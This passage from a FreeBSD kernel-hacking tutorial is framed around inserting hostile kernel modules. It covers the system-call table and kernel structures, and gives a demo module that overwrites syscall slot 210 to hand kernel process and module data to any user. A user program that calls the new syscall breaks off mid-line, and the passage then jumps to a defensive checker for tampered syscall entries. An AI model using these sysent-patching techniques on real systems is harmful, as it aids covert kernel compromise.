{ 0, (sy_call_t *)nosys }, /* 247 = nosys */
{ 0, (sy_call_t *)nosys }, /* 248 = nosys */
{ 0, (sy_call_t *)nosys }, /* 249 = nosys */
{ 3, (sy_call_t *)minherit }, /* 250 = minherit */
{ 1, (sy_call_t *)rfork }, /* 251 = rfork */
{ 3, (sy_call_t *)openbsd_poll }, /* 252 = openbsd_poll */
{ 0, (sy_call_t *)issetugid }, /* 253 = issetugid */
{ 3, (sy_call_t *)lchown }, /* 254 = lchown */
{ 0, (sy_call_t *)nosys }, /* 255 = nosys */
{ 0, (sy_call_t *)nosys }, /* 256 = nosys */
{ 0, (sy_call_t *)nosys }, /* 257 = nosys */
{ 0, (sy_call_t *)nosys }, /* 258 = nosys */
{ 0, (sy_call_t *)nosys }, /* 259 = nosys */
{ 0, (sy_call_t *)nosys }, /* 260 = nosys */
{ 0, (sy_call_t *)nosys }, /* 261 = nosys */
{ 0, (sy_call_t *)nosys }, /* 262 = nosys */
{ 0, (sy_call_t *)nosys }, /* 263 = nosys */
{ 0, (sy_call_t *)nosys }, /* 264 = nosys */
{ 0, (sy_call_t *)nosys }, /* 265 = nosys */
{ 0, (sy_call_t *)nosys }, /* 266 = nosys */
{ 0, (sy_call_t *)nosys }, /* 267 = nosys */
{ 0, (sy_call_t *)nosys }, /* 268 = nosys */
{ 0, (sy_call_t *)nosys }, /* 269 = nosys */
{ 0, (sy_call_t *)nosys }, /* 270 = nosys */
{ 0, (sy_call_t *)nosys }, /* 271 = nosys */
{ 3, (sy_call_t *)getdents }, /* 272 = getdents */
{ 0, (sy_call_t *)nosys }, /* 273 = nosys */
{ 2, (sy_call_t *)lchmod }, /* 274 = lchmod */
{ 3, (sy_call_t *)lchown }, /* 275 = netbsd_lchown */
{ 2, (sy_call_t *)lutimes }, /* 276 = lutimes */
{ 3, (sy_call_t *)msync }, /* 277 = netbsd_msync */
{ 2, (sy_call_t *)nstat }, /* 278 = nstat */
{ 2, (sy_call_t *)nfstat }, /* 279 = nfstat */
{ 2, (sy_call_t *)nlstat }, /* 280 = nlstat */
{ 0, (sy_call_t *)nosys }, /* 281 = nosys */
{ 0, (sy_call_t *)nosys }, /* 282 = nosys */
{ 0, (sy_call_t *)nosys }, /* 283 = nosys */
{ 0, (sy_call_t *)nosys }, /* 284 = nosys */
{ 0, (sy_call_t *)nosys }, /* 285 = nosys */
{ 0, (sy_call_t *)nosys }, /* 286 = nosys */
{ 0, (sy_call_t *)nosys }, /* 287 = nosys */
{ 0, (sy_call_t *)nosys }, /* 288 = nosys */
{ 0, (sy_call_t *)nosys }, /* 289 = nosys */
{ 0, (sy_call_t *)nosys }, /* 290 = nosys */
{ 0, (sy_call_t *)nosys }, /* 291 = nosys */
{ 0, (sy_call_t *)nosys }, /* 292 = nosys */
{ 0, (sy_call_t *)nosys }, /* 293 = nosys */
{ 0, (sy_call_t *)nosys }, /* 294 = nosys */
{ 0, (sy_call_t *)nosys }, /* 295 = nosys */
{ 0, (sy_call_t *)nosys }, /* 296 = nosys */
{ 0, (sy_call_t *)nosys }, /* 297 = nosys */
{ 0, (sy_call_t *)nosys }, /* 298 = nosys */
{ 0, (sy_call_t *)nosys }, /* 299 = nosys */
{ 1, (sy_call_t *)modnext }, /* 300 = modnext */
{ 2, (sy_call_t *)modstat }, /* 301 = modstat */
{ 1, (sy_call_t *)modfnext }, /* 302 = modfnext */
{ 1, (sy_call_t *)modfind }, /* 303 = modfind */
{ 1, (sy_call_t *)kldload }, /* 304 = kldload */
{ 1, (sy_call_t *)kldunload }, /* 305 = kldunload */
{ 1, (sy_call_t *)kldfind }, /* 306 = kldfind */
{ 1, (sy_call_t *)kldnext }, /* 307 = kldnext */
{ 2, (sy_call_t *)kldstat }, /* 308 = kldstat */
{ 1, (sy_call_t *)kldfirstmod }, /* 309 = kldfirstmod */
{ 1, (sy_call_t *)getsid }, /* 310 = getsid */
{ 0, (sy_call_t *)nosys }, /* 311 = setresuid */
{ 0, (sy_call_t *)nosys }, /* 312 = setresgid */
{ 0, (sy_call_t *)nosys }, /* 313 = obsolete signanosleep */
{ 1, (sy_call_t *)aio_return }, /* 314 = aio_return */
{ 3, (sy_call_t *)aio_suspend }, /* 315 = aio_suspend */
{ 2, (sy_call_t *)aio_cancel }, /* 316 = aio_cancel */
{ 1, (sy_call_t *)aio_error }, /* 317 = aio_error */
{ 1, (sy_call_t *)aio_read }, /* 318 = aio_read */
{ 1, (sy_call_t *)aio_write }, /* 319 = aio_write */
{ 4, (sy_call_t *)lio_listio }, /* 320 = lio_listio */
{ 0, (sy_call_t *)yield }, /* 321 = yield */
{ 1, (sy_call_t *)thr_sleep }, /* 322 = thr_sleep */
{ 1, (sy_call_t *)thr_wakeup }, /* 323 = thr_wakeup */
{ 1, (sy_call_t *)mlockall }, /* 324 = mlockall */
{ 0, (sy_call_t *)munlockall }, /* 325 = munlockall */
{ 2, (sy_call_t *)__getcwd }, /* 326 = __getcwd */
{ 2, (sy_call_t *)sched_setparam }, /* 327 = sched_setparam */
{ 2, (sy_call_t *)sched_getparam }, /* 328 = sched_getparam */
{ 3, (sy_call_t *)sched_setscheduler }, /* 329 = sched_setscheduler */
{ 1, (sy_call_t *)sched_getscheduler }, /* 330 = sched_getscheduler */
{ 0, (sy_call_t *)sched_yield }, /* 331 = sched_yield */
{ 1, (sy_call_t *)sched_get_priority_max }, /* 332 = sched_get_priority_max */
{ 1, (sy_call_t *)sched_get_priority_min }, /* 333 = sched_get_priority_min */
{ 2, (sy_call_t *)sched_rr_get_interval }, /* 334 = sched_rr_get_interval */
{ 2, (sy_call_t *)utrace }, /* 335 = utrace */
{ 8, (sy_call_t *)sendfile }, /* 336 = sendfile */
{ 3, (sy_call_t *)kldsym }, /* 337 = kldsym */
};
As you can see sysent[] contains one sysent structure for every
system call installed on the system. Recall that the first
element in the sysent structure is the argument count and the
second the function pointer. This means for the kldsysm system
call:
argument cound : 3
system call function : kldsysm
And this means that we can get the sysent entry of every system
call we want by reading sysent[system call number]. The easiest
way to get the index is to use the syscalls.h file.
Now we want to extract the most important system calls you have
to understand in order to do a bit of kernel hacking. Author
gave you the system call number, the function and their arguments
structure. Maybe you need to hack other system calls, its just a
matter of creativity. system callnumberargument
struct
read(p, uap)3struct read_args {
int fd;
void *buf;
size_t nbyte; }
write(p, uap)4struct write_args {
int fd;
const void *buf;
size_t nbyte; }
open(p, uap)5struct open_args {
char *path;
int flags;
int mode; }
link(p, uap)9struct link_args {
char *path;
char *link; }
recvfrom(p, uap)29struct recvfrom_args {
int s;
caddr_t buf;
size_t len;
int flags;
caddr_t from;
int *fromlenaddr; }
accept(p, uap)30struct accept_args {
int s;
caddr_t name;
int *anamelen; }
kill(p, uap)37struct kill_args {
int pid;
int signum; }
ktrace(p, uap)45struct ktrace_args {
char *fname;
int ops;
int facs;
int pid; }
ioctl(p, uap)54struct ioctl_args {
int fd_;
u_long com;
caddr_t data; }
reboot(p, uap)55struct reboot_args {
int opt; }
execve(p, uap)59struct execve_args {
char *fname;
char **argv;
char **envv; }
sbrk(p, uap)69struct sbrk_args {
int incr; }
socket(p, uap)97struct socket_args {
int domain;
int type;
int protocol; }
connect(p, uap)98struct connect_args {
int s;
caddr_t name;
int namelen; }
bind(p, uap)104struct bind_args {
int s;
caddr_t name;
int namelen; }
listen(p, uap)106struct listen_args {
int s;
int backlog; }
readv(p, uap)120struct readv_args {
int fd;
struct iovec *iovp;
u_int iovcnt; }
writev(p, uap)121struct writev_args {
int fd;
struct iovec *iovp;
u_int iovcnt; }
rename(p, uap)128struct rename_args {
char *from;
char *to; }
sendto(p, uap)133struct sendto_args {
int s;
caddr_t buf;
size_t len;
int flags;
caddr_t to;
int tolen; }
mkdir(p, uap)136struct mkdir_args {
char *path;
int mode; }
rmdir(p, uap)137struct rmdir_args {
char *path; }
getdirentries(p, uap)196struct getdirentries_args {
int fd;
char *buf;
u_int count;
long *basep; }
modnext(p, uap)300struct modnext_args {
int modid; }
modstat(p, uap)301struct modstat_args {
int modid;
struct module_stat *stat; }
modfnext(p, uap)302struct modfnext_args {
int modid; }
modfind(p, uap)303struct modfind_args {
char *name; }
kldload(p, uap)304struct kldload_args {
const char *file; }
kldunload(p, uap)305struct kldunload_args {
int fileid; }
kldfind(p, uap)306struct kldfind_args {
const char *file; }
kldnext(p, uap)307struct kldnext_args {
int fileid; }
kldstat(p, uap)308struct kldstat_args {
int fileid;
struct kld_file_stat *stat; }
kldsym(p, uap)337struct kldsym_args {
int fileid;
int cmd;
void *data; }
As you can see every system call gets the proc structure (standing
for the process calling the system call) and a special argument
structure.
Beside system calls kernel structures and lists are one of the
most important things we have to deal with. Following section
will explain the most basic kernel structures and lists we need
to understand. It is impossible to give you a complete list of
all interesting kernel lists, of course. This text is dealing
with inserting hostile modules into the kernel. Those modules are
wrapped by link files. The kernel inserts any link file loaded in
a global list of linker_file structures. So let's take a look at
this structure:
struct linker_file {
int refs; /* reference count */
int userrefs; /* kldload(2) count */
TAILQ_ENTRY(linker_file) link; /* list of all loaded files */
char* filename; /* file which was loaded */
int id; /* unique id */
caddr_t address; /* load address */
size_t size; /* size of file */
int ndeps; /* number of dependancies */
linker_file_t* deps; /* list of dependancies */
STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
TAILQ_HEAD(, module) modules; /* modules in this file */
void* priv; /* implementation data */
struct linker_file_ops* ops;
};
Take a look at it. The general layout should be clear: link is
used for the list management, filename is the name of the link
file, modules stands for the modules in that file. This is the
structure, but where is the global list holding all these
entries? Take a look at the following line that can be found in
kern_linker.c:
static linker_file_list_t files;
Unexpirienced kernel coders will ask what linker_file_list_t
stands for (we thought of something like linker_file). Ok so
let's look what linker_file_list_t stands for:
typedef TAILQ_HEAD(, linker_file) linker_file_list_t;
TAILQ_HEAD is one of lots of macros defined in queue.h. This
include file provides lots o very helpful macros helping the
kernel to manage a lot of internal lists. Let's say that the line
above does something like initialization of the linker_file list,
which can now be accessed via linker_file_list_t ('TheSeeker'
will show how to use those macros). Ok now we know where the
linker_file list is located this should be enough for the moment.
Now what about modules. As said before modules are described by
a module structure (see above). Those structures are also
organized in a global list. So where and how is this list
defined, take a look at this line from kern_module.c:
typedef TAILQ_HEAD(, module) modulelist_t;
Again we see TAILQ_HEAD providing us with a list and again we now
know that modulelist_t is the global list for every module loaded.
One of the most important none-module related list in the kernel
is the allproc (zombproc) list. The allproc list holds every
process on the system except the zombie processes those are hold
by zombproc. First let's take a look at the general structure of
a process entry. The proc structure holds every piece of
information needed:
struct proc {
TAILQ_ENTRY(proc) p_procq; /* run/sleep queue. */
LIST_ENTRY(proc) p_list; /* List of all processes. */
/* substructures: */
struct pcred *p_cred; /* Process owner's identity. */
struct filedesc *p_fd; /* Ptr to open files structure. */
struct pstats *p_stats; /* Accounting/statistics (PROC ONLY). */
struct plimit *p_limit; /* Process limits. */
struct vm_object *p_upages_obj;/* Upages object */
struct procsig *p_procsig;
#define p_sigacts p_procsig->ps_sigacts
#define p_sigignore p_procsig->ps_sigignore
#define p_sigcatch p_procsig->ps_sigcatch
#define p_ucred p_cred->pc_ucred
#define p_rlimit p_limit->pl_rlimit
int p_flag; /* P_* flags. */
char p_stat; /* S* process status. */
char p_pad1[3];
pid_t p_pid; /* Process identifier. */
LIST_ENTRY(proc) p_hash; /* Hash chain. */
LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp. */
struct proc *p_pptr; /* Pointer to parent process. */
LIST_ENTRY(proc) p_sibling; /* List of sibling processes. */
LIST_HEAD(, proc) p_children; /* Pointer to list of children. */
struct callout_handle p_ithandle; /*
* Callout handle for scheduling
* p_realtimer.
*/
/* The following fields are all zeroed upon creation in fork. */
#define p_startzero p_oppid
pid_t p_oppid; /* Save parent pid during ptrace. XXX */
int p_dupfd; /* Sideways return value from fdopen. XXX */
struct vmspace *p_vmspace; /* Address space. */
/* scheduling */
u_int p_estcpu; /* Time averaged value of p_cpticks. */
int p_cpticks; /* Ticks of cpu time. */
fixpt_t p_pctcpu; /* %cpu for this process during p_swtime */
void *p_wchan; /* Sleep address. */
const char *p_wmesg; /* Reason for sleep. */
u_int p_swtime; /* Time swapped in or out. */
u_int p_slptime; /* Time since last blocked. */
struct itimerval p_realtimer; /* Alarm timer. */
u_int64_t p_runtime; /* Real time in microsec. */
struct timeval p_switchtime; /* When last scheduled */
u_quad_t p_uticks; /* Statclock hits in user mode. */
u_quad_t p_sticks; /* Statclock hits in system mode. */
u_quad_t p_iticks; /* Statclock hits processing intr. */
int p_traceflag; /* Kernel trace points. */
struct vnode *p_tracep; /* Trace to vnode. */
int p_siglist; /* Signals arrived but not delivered. */
struct vnode *p_textvp; /* Vnode of executable. */
char p_lock; /* Process lock (prevent swap) count. */
char p_oncpu; /* Which cpu we are on */
char p_lastcpu; /* Last cpu we were on */
char p_pad2; /* alignment */
short p_locks; /* DEBUG: lockmgr count of held locks */
short p_simple_locks; /* DEBUG: count of held simple locks */
unsigned int p_stops; /* procfs event bitmask */
unsigned int p_stype; /* procfs stop event type */
char p_step; /* procfs stop *once* flag */
unsigned char p_pfsflags; /* procfs flags */
char p_pad3[2]; /* padding for alignment */
register_t p_retval[2]; /* syscall aux returns */
struct sigiolst p_sigiolst; /* list of sigio sources */
int p_sigparent; /* signal to parent on exit */
sigset_t p_oldsigmask; /* saved mask from before sigpause */
int p_sig; /* for core dump/debugger XXX */
u_long p_code; /* for core dump/debugger XXX */
/* End area that is zeroed on creation. */
#define p_endzero p_startcopy
/* The following fields are all copied upon creation in fork. */
#define p_startcopy p_sigmask
sigset_t p_sigmask; /* Current signal mask. */
u_char p_priority; /* Process priority. */
u_char p_usrpri; /* User-priority based on p_cpu and p_nice. */
char p_nice; /* Process "nice" value. */
char p_comm[MAXCOMLEN+1];
struct pgrp *p_pgrp; /* Pointer to process group. */
struct sysentvec *p_sysent; /* System call dispatch information. */
struct rtprio p_rtprio; /* Realtime priority. */
/* End area that is copied on creation. */
#define p_endcopy p_addr
struct user *p_addr; /* Kernel virtual addr of u-area (PROC ONLY). */
struct mdproc p_md; /* Any machine-dependent fields. */
u_short p_xstat; /* Exit status for wait; also stop signal. */
u_short p_acflag; /* Accounting flags. */
struct rusage *p_ru; /* Exit information. XXX */
int p_nthreads; /* number of threads (only in leader) */
void *p_aioinfo; /* ASYNC I/O info */
int p_wakeup; /* thread id */
struct proc *p_peers;
struct proc *p_leader;
struct pasleep p_asleep; /* Used by asleep()/await(). */
};
This structure is quite big and complex. There are lots of
substructurs we will use in, so we won't explain them here. Most
of the fields should be clear. The vmspace field is also very
important for us, because it's our gate to the process' memory.
Now we know how processes are described, but where do we have the
allproc and zombroc lists? Let's search for them in kern_proc.c:
struct proclist allproc;
struct proclist zombroc;
A reference to proclist can be found in proc.h
LIST_HEAD(proclist, proc);
LIST_HEAD is another macro taken from queue.h that provides a list
(here proclist). Now we know how to find any process running on
the system: just look through allproc (zombroc). This are the
most basic lists and structures we need to understand, there are
thousands more, but we won't need them too often.
Author developed a little module that inserts one new system call
which provides us with the ability to export some kernel space
structures and lists to user space. This is not very useful
(there are better libc calls), author just wrote it to show you
in an easy way how to handle system calls, kernel lists, user
space kernel space interfaces, etc. There are some pieces of
code that handle the user space <-> kernel space transition. For
those not aware of this problem it is suggested first reading
section I.8 of original document. Those who read Linux article
should be able to continue without problems. So here is the
module source:
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>
#include <sys/sysproto.h>
#include <sys/sysent.h>
#include <sys/proc.h>
#include <sys/syscall.h>
#include <sys/file.h>
#include <sys/malloc.h>
#include <sys/types.h>
#include <sys/lock.h>
#define GD_ALLPROC 1
#define GD_LINKFILES 2
#define GD_MODULES 3
typedef TAILQ_HEAD(, module) modulelist_t;
/*import lock structure*/
extern struct lock lock;
/*import the linker_file list*/
extern linker_file_list_t files;
/*import module list*/
extern modulelist_t modules;
/*the module structure (normally defined in kern_module.c)*/
struct module {
TAILQ_ENTRY(module) link;
TAILQ_ENTRY(module) flink;
struct linker_file *file;
int refs;
int id;
char *name;
modeventhand_t handler;
void *arg;
modspecific_t data;
};
/*structure for our getdata system call*/
static struct getdata_args {
/*this int value stands for the data the user wants to see*/
int what;
/*this is a user space buffer where we will put the data*/
char *buffer;
};
/*the system call function we implement*/
/*GENERAL WORKING :
This system call gets two arguments from a user space program : an integer
used as a switch parameter (what kernel list do we want) and a pointer to
an allocated user space memory location. If this pointer is zero the
system call will return the size of the requested list. This is useful for
selecting the buffer size in a second step.*/
static
int getdata(struct proc *p, struct getdata_args *uap)
{
int size, flag=0;
struct proc *pr;
linker_file_t lf=0;
module_t mod=0;
/*if the buffer is NULL then the user requests the list size*/
if (uap->buffer==NULL) flag=1;
/*which list does the user want*/
switch(uap->what)
{
case GD_ALLPROC :
{
size=0;
pr=allproc.lh_first;
for (; pr!=0; pr=pr->p_list.le_next)
{
size+=sizeof(struct proc);
}
/*if the user only want the size, return it*/
if (flag==1) {p->p_retval[0]=size; break;}
pr=allproc.lh_first;
size=0;
/*otherwise returnthe structure into the user space buffer*7
for(; pr!=0; pr=pr->p_list.le_next)
{
copyout(pr, uap->buffer+size, sizeof(struct proc));
size+=sizeof(struct proc);
}
/*return number of procs returned in buffer*/
p->p_retval[0]=size/sizeof(struct proc);
break;
}
case GD_MODULES :
{
size=0;
for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
{
size+=sizeof(struct module);
}
if (flag==1) {p->p_retval[0]=size; break;}
size=0;
for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
{
copyout(mod, uap->buffer+size, sizeof(struct module));
size+=sizeof(struct module);
}
/*return number of procs returned in buffer*/
p->p_retval[0]=size/sizeof(struct module);
break;
}
case GD_LINKFILES :
{
size=0;
/*lock*/
lockmgr(&lock, LK_SHARED, 0, curproc);
for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
{
size+=sizeof(struct linker_file);
}
/*unlock*/
lockmgr(&lock, LK_RELEASE, 0, curproc);
if (flag==1) {p->p_retval[0]=size; break;}
size=0;
lockmgr(&lock, LK_SHARED, 0, curproc);
for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
{
copyout(lf, uap->buffer+size, sizeof(struct linker_file));
size+=sizeof(struct linker_file);
}
lockmgr(&lock, LK_RELEASE, 0, curproc);
/*return number of procs returned in buffer*/
p->p_retval[0]=size/sizeof(struct linker_file);
break;
}
}
return 0;
}
/*the hacked open syscall*/
static struct sysent getdata_sysent = {
2,
getdata /* sy_call */
};
/*
* The function called at load/unload.
*/
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
/*install the system call, UNLOAD will not remove it, I am too lazy :)*/
sysent[210]=getdata_sysent;
break;
case MOD_UNLOAD :
break;
default :
error = EINVAL;
break;
}
return error;
}
/*install the module as our MISC type*/
static moduledata_t syscall_mod = {
"TheSeeker",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
This is no nice style programming style, but working. The copy*
functions will be explained in I.8. Recognize that return values
for user space a saved in a part of the module structure
(p->p_retval[0]). The rest should be quite clear. Author also
wrote a little user space program showing how to use this system
call. Of course, you have to load the module before.
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>
#include <sys/sysent.h>
#include <sys/proc.h>
#include <sys/syscall.h>
#include <sys/file.h>
#include <sys/malloc.h>
#include <sys/types.h>
#include <sys/lock.h>
typedef struct linker_file* linker_file_t;
struct linker_file {
int refs; /* reference count */
int userrefs; /* kldload(2) count */
TAILQ_ENTRY(linker_file) link; /* list of all loaded files */
char* filename; /* file which was loaded */
int id; /* unique id */
caddr_t address; /* load address */
size_t size; /* size of file */
int ndeps; /* number of dependancies */
linker_file_t* deps; /* list of dependancies */
STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
TAILQ_HEAD(, module) modules; /* modules in this file */
void* priv; /* implementation data */
struct linker_file_ops* ops;
};
struct module {
TAILQ_ENTRY(module) link;
TAILQ_ENTRY(module) flink;
struct linker_file *file;
int refs;
int id;
char *name;
modeventhand_t handler;
void *arg;
modspecific_t data;
};
int errno;
#define GD_ALLPROC 1
#define GD_LINKFILES 2
#define GD_MODULES 3
/*structure for our getdata system call*/
struct getdata_args {
/*this int value stands for the data the user wants to see*/
int what;
/*this is a user space buffer where we will put the data*/
char *buffer;
};
void print_allprocs()
{
struct getdata_args gda;
int size;
struct proc *procs;
char *p;
int counter, tmp;
/*set the getdata fields*/
gda.what=GD_ALLPROC;
gda.buffer=NULL;
size=syscall (210, gda);
/*allocate some bytes*/
p=(char*)malloc(size);
/*set the getdata fields*/
gda.what=GD_ALLPROC;
gda.buffer=(char*)p;
tmp=syscall(210, gda);
procs=(struct proc*)p;
for (counter=0; counter<tmp; counter++)
printf("PID : %d\n", procs[counter].p_pid);
free(p);
}
void print_files()
{
struct getdata_args gda;
int size;
struct linker_file *procs;
char *p;
int counter, tmp;
/*set the getdata fields*/
gda.what=GD_LINKFILES;
gda.buffer=NULL;
size=syscall (210, gda);
printf("SIZE : %d\n", size);
/*allocate some bytes*/
p=(char*)malloc(size);
/*set the getdata fields*/
gda.what=GD_LINKFILES;
gda.buffer=(char*)p;
tmp=syscall(210, gda);
printf("STRUCTS : %d\n", tmp);
procs=(struct linker_file*)p;
for (counter=0; counter<tmp; counter++)
printf("ID : %d\n", procs[counter].id);
free(p);
}
void print_modules()
{
struct getdata_args gda;
int size;
struct module *procs;
char *p;
int counter, tmp;
/*set the getdata fields*/
gda.what=GD_MODULES;
gda.buffer=NULL;
size=syscall (210, gda);
printf("SIZE : %d\n", size);
/*allocate some bytes*/
p=(char*)malloc(size);
/*set the getdata fields*/
gda.what=GD_MODULES;
gda.buffer=(char*)p;
tmp=syscall
SOLUTION
Here we'll only show you how to avoid some problems (not all) you
as administrator could have with 'hacker' modules playing havoc
with your system call table. Linux text showed many ways how
to fight against hostile modules with the help of some protection
LKMs. We won't repeat those ideas. You can use all those modules
on FreeBSD too, you only have to change the code a bit; we only
describe some new ideas here.
Those of you common with kernel hacking know that nearly every
module that does something useful for a hacker must modify the
kernel system call table. [Note: As said in introduction there
are lots of ways to attack FreeBSD without patching the system
call table, but ... wait for a further release of this text]
Those changes are needed to intercept and manipulate system
calls. Of course there may also be some non-hacking modules that
will change the global system call table (add a system call or
so), but normally those driver modules (for example) don't change
existing system calls. So we should implement some piece of code
checking every system call entry on a system that is defined
during startup for suspicious changes.
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/linker.h>
#include <sys/sysproto.h>
#include <sys/sysent.h>
#include <sys/proc.h>
#include <sys/syscall.h>
#include <sys/file.h>
#include <sys/malloc.h>
#include <sys/types.h>
#include <sys/lock.h>
/*
* The function called at load/unload.
*/
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
char error[400];
int counter;
bzero(&error, sizeof(error));
/*this is hard cut & paste coding :-)*/
if (sysent[SYS_exit].sy_call!=exit) error[SYS_exit]=1;
if (sysent[SYS_fork].sy_call!=fork) error[SYS_fork]=1;
if (sysent[SYS_read].sy_call!=read) error[SYS_read]=1;
if (sysent[SYS_write].sy_call!=write) error[SYS_write]=1;
if (sysent[SYS_open].sy_call!=open) error[SYS_open]=1;
if (sysent[SYS_close].sy_call!=close) error[SYS_close]=1;
if (sysent[SYS_wait4].sy_call!=wait4) error[SYS_wait4]=1;
if (sysent[SYS_link].sy_call!=link) error[SYS_link]=1;
if (sysent[SYS_unlink].sy_call!=unlink) error[SYS_unlink]=1;
if (sysent[SYS_chdir].sy_call!=chdir) error[SYS_chdir]=1;
if (sysent[SYS_fchdir].sy_call!=fchdir) error[SYS_fchdir]=1;
if (sysent[SYS_mknod].sy_call!=mknod) error[SYS_mknod]=1;
if (sysent[SYS_chmod].sy_call!=chmod) error[SYS_chmod]=1;
if (sysent[SYS_chown].sy_call!=chown) error[SYS_chown]=1;
if (sysent[SYS_break].sy_call!=obreak) error[SYS_break]=1;
if (sysent[SYS_getfsstat].sy_call!=getfsstat) error[SYS_getfsstat]=1;
if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
if (sysent[SYS_getpid].sy_call!=getpid) error[SYS_getpid]=1;
if (sysent[SYS_mount].sy_call!=mount) error[SYS_mount]=1;
if (sysent[SYS_unmount].sy_call!=unmount) error[SYS_unmount]=1;
if (sysent[SYS_setuid].sy_call!=setuid) error[SYS_setuid]=1;
if (sysent[SYS_getuid].sy_call!=getuid) error[SYS_getuid]=1;
if (sysent[SYS_geteuid].sy_call!=geteuid) error[SYS_geteuid]=1;
if (sysent[SYS_ptrace].sy_call!=ptrace) error[SYS_ptrace]=1;
if (sysent[SYS_recvmsg].sy_call!=recvmsg) error[SYS_recvmsg]=1;
if (sysent[SYS_sendmsg].sy_call!=sendmsg) error[SYS_sendmsg]=1;
if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
if (sysent[SYS_getsockname].sy_call!=getsockname) error[SYS_getsockname]=1;
if (sysent[SYS_access].sy_call!=access) error[SYS_access]=1;
if (sysent[SYS_chflags].sy_call!=chflags) error[SYS_chflags]=1;
if (sysent[SYS_fchflags].sy_call!=fchflags) error[SYS_fchflags]=1;
if (sysent[SYS_sync].sy_call!=sync) error[SYS_sync]=1;
if (sysent[SYS_kill].sy_call!=kill) error[SYS_kill]=1;
if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
if (sysent[SYS_dup].sy_call!=dup) error[SYS_dup]=1;
if (sysent[SYS_pipe].sy_call!=pipe) error[SYS_pipe]=1;
if (sysent[SYS_getegid].sy_call!=getegid) error[SYS_getegid]=1;
if (sysent[SYS_profil].sy_call!=profil) error[SYS_profil]=1;
if (sysent[SYS_ktrace].sy_call!=ktrace) error[SYS_ktrace]=1;
if (sysent[SYS_sigaction].sy_call!=sigaction) error[SYS_sigaction]=1;
if (sysent[SYS_getgid].sy_call!=getgid) error[SYS_getgid]=1;
if (sysent[SYS_sigprocmask].sy_call!=sigprocmask) error[SYS_sigprocmask]=1;
if (sysent[SYS_getlogin].sy_call!=getlogin) error[SYS_getlogin]=1;
if (sysent[SYS_setlogin].sy_call!=setlogin) error[SYS_setlogin]=1;
if (sysent[SYS_acct].sy_call!=acct) error[SYS_acct]=1;
if (sysent[SYS_sigpending].sy_call!=sigpending) error[SYS_sigpending]=1;
if (sysent[SYS_sigaltstack].sy_call!=sigaltstack) error[SYS_sigaltstack]=1;
if (sysent[SYS_ioctl].sy_call!=ioctl) error[SYS_ioctl]=1;
if (sysent[SYS_reboot].sy_call!=reboot) error[SYS_reboot]=1;
if (sysent[SYS_revoke].sy_call!=revoke) error[SYS_revoke]=1;
if (sysent[SYS_symlink].sy_call!=symlink) error[SYS_symlink]=1;
if (sysent[SYS_readlink].sy_call!=readlink) error[SYS_readlink]=1;
if (sysent[SYS_execve].sy_call!=execve) error[SYS_execve]=1;
if (sysent[SYS_umask].sy_call!=umask) error[SYS_umask]=1;
if (sysent[SYS_chroot].sy_call!=chroot) error[SYS_chroot]=1;
if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
if (sysent[SYS_msync].sy_call!=msync) error[SYS_msync]=1;
if (sysent[SYS_vfork].sy_call!=vfork) error[SYS_vfork]=1;
if (sysent[SYS_sbrk].sy_call!=sbrk) error[SYS_sbrk]=1;
if (sysent[SYS_sstk].sy_call!=sstk) error[SYS_sstk]=1;
if (sysent[SYS_vadvise].sy_call!=ovadvise) error[SYS_vadvise]=1;
if (sysent[SYS_munmap].sy_call!=munmap) error[SYS_munmap]=1;
if (sysent[SYS_mprotect].sy_call!=mprotect) error[SYS_mprotect]=1;
if (sysent[SYS_madvise].sy_call!=madvise) error[SYS_madvise]=1;
if (sysent[SYS_mincore].sy_call!=mincore) error[SYS_mincore]=1;
if (sysent[SYS_getgroups].sy_call!=getgroups) error[SYS_getgroups]=1;
if (sysent[SYS_setgroups].sy_call!=setgroups) error[SYS_setgroups]=1;
if (sysent[SYS_getpgrp].sy_call!=getpgrp) error[SYS_getpgrp]=1;
if (sysent[SYS_setpgid].sy_call!=setpgid) error[SYS_setpgid]=1;
if (sysent[SYS_setitimer].sy_call!=setitimer) error[SYS_setitimer]=1;
if (sysent[SYS_swapon].sy_call!=swapon) error[SYS_swapon]=1;
if (sysent[SYS_getitimer].sy_call!=getitimer) error[SYS_getitimer]=1;
if (sysent[SYS_getdtablesize].sy_call!=getdtablesize)
error[SYS_getdtablesize]=1;
if (sysent[SYS_dup2].sy_call!=dup2) error[SYS_dup2]=1;
if (sysent[SYS_fcntl].sy_call!=fcntl) error[SYS_fcntl]=1;
if (sysent[SYS_select].sy_call!=select) error[SYS_select]=1;
if (sysent[SYS_fsync].sy_call!=fsync) error[SYS_fsync]=1;
if (sysent[SYS_setpriority].sy_call!=setpriority) error[SYS_setpriority]=1;
if (sysent[SYS_socket].sy_call!=socket) error[SYS_socket]=1;
if (sysent[SYS_connect].sy_call!=connect) error[SYS_connect]=1;
if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
